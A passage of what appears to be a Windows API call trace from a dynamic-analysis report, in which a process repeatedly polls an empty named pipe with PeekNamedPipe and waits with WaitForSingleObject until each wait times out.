[0078.729] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0079.842] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.842] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0079.977] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0079.977] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.019] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.019] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.039] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.043] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.445] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.445] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.476] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.476] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.507] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.507] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.538] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.538] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.569] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.569] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.607] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.607] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.632] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.632] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.663] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.663] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.694] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.694] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.726] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.726] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.757] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.757] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.788] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.788] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.834] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.834] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.850] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.850] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.881] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.882] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.950] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.950] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0080.982] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0080.982] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0081.820] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.820] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0081.861] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.861] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0081.946] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0081.947] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0082.069] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.069] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0082.099] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.100] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0082.586] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.586] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0082.613] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.613] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0082.645] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.646] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0082.681] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.682] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0082.736] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.736] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0082.754] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.754] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0082.785] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.785] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0082.816] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.816] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0082.847] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.847] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0082.879] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.879] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0082.909] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.910] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0082.946] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.946] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0082.972] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0082.972] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0083.622] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.710] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0083.748] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.749] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0083.920] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0083.920] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0084.010] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.010] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0084.033] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.033] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0084.064] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.064] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0084.096] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.096] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0084.131] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.131] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0084.544] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.544] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0084.563] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0084.563] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0085.282] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.282] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0085.420] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.518] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0085.548] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.548] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0085.632] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.632] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0085.655] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0085.655] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0086.093] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0086.094] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0086.127] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0086.127] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0086.154] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0086.154] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0086.655] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0086.655] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0086.800] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0086.800] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0086.965] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0086.966] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0087.018] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0087.018] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0087.044] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0087.044] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0087.125] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0087.125] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0087.686] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0087.686] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0087.715] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0087.715] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0088.499] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.499] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0088.571] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.571] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0088.594] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.594] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x14) returned 0x102 [0088.695] PeekNamedPipe (in: hNamedPipe=0x128, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x22af898*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0088.695] WaitForSingleObject (hHandle=0x134, 